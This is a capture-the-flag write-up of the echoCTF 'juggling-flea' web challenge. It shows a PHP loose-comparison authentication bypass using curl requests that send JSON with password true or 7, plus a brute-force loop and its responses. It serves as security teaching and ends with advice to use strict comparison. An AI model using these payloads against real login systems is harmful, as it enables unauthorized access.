echoCTF juggling-flea Writeup: PHP Type Juggling Authentication Bypass
Challenge Info
- Platform: echoCTF
- Category: Web Security
- Difficulty: CTF Beginners (300 points)
- Description: "This API changes password with every request, see if you can find a way to authenticate successfully. There is no need for brute-forcing the authentication with random passwords..."
- Challenge link: https://echoctf.red/target/53
Walkthrough
Step 1: Initial recon I visited the site and the page dumped its PHP source code straight away:
<?php
if (empty($_POST))
{
highlight_file(__FILE__);
exit;
}
$randno=intval(rand()%10);
$mypassword=$randno.md5(time());
// ...
if($auth->password==$mypassword) // loose comparison!
Key observations:
- Password format: a random digit (0-9) + MD5(time())
- Uses
==for a loose comparison - Requires a POST request, and
$_POSTmust not be empty
Step 2: Reading the challenge name "juggling-flea" hints at a PHP Type Juggling vulnerability.
Step 3: Understanding PHP Type Juggling In a PHP loose comparison, the rule for comparing a boolean against a string is:
true == "any non-empty string" // always TRUE
Since $mypassword is always a non-empty string (digit + MD5), true == $mypassword is guaranteed to hold.
Step 4: Bypassing the $_POST check The key trick: don't set Content-Type: application/json.
- This keeps
$_POSTpopulated (bypassing the check) php://inputstill contains the JSON payloadjson_decode()parses it just fine
Step 5: Grabbing the flag
curl -s http://10.0.41.14:1337/ \
-d '{"username":"admin","password":true}'
Nailed it on the first try!
Flag: ETSCTF_REDACTED
Key Takeaways
- The boolean bypass is the most reliable: no luck required (see the alternative approach below), 100% success rate.
- Understand $_POST vs php://input:
$_POSTis only populated for certain Content-Typesphp://inputalways contains the raw request body
- The danger of PHP loose comparison: always use
===for safe comparisons.
Lessons Learned
While solving this one, there were actually other approaches worth mentioning:
Trying numeric Type Juggling
Once I realized that 7 == "7abc..." evaluates to TRUE, I started looping through attempts:
while true; do
curl -X POST http://10.0.41.14:1337/ \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":7}'
done
The problem: it kept returning the PHP source code, because adding the JSON header left $_POST empty. That's the other little twist in this challenge, and it has to be bypassed.
So it needs to become:
while true; do
curl -X POST http://10.0.41.14:1337/ \
-d '{"username":"admin","password":7}'
doneThis lets you brute-force it directly: $_POST is no longer empty, so the code takes the php://input path, and once past that, sooner or later the loose comparison will accept a "correct" password. Sure enough, after looping I eventually landed ETSCTF_REDACTED.
└─$ while true; do
curl -X POST http://10.0.41.14:1337/ \
-d '{"username":"admin","password":7}'
done
{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"success":{"message":"Correct password here is your flag ETSCTF_REDACTED"}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}Bottom line: I only figured out at the very end that simply dropping the Content-Type header solves the whole thing! And using the boolean true is far more reliable than a number: it works instantly on the first request, with no looping. This challenge also touched on some basic source-code review, which happens to be one of my weaker areas.
Member discussion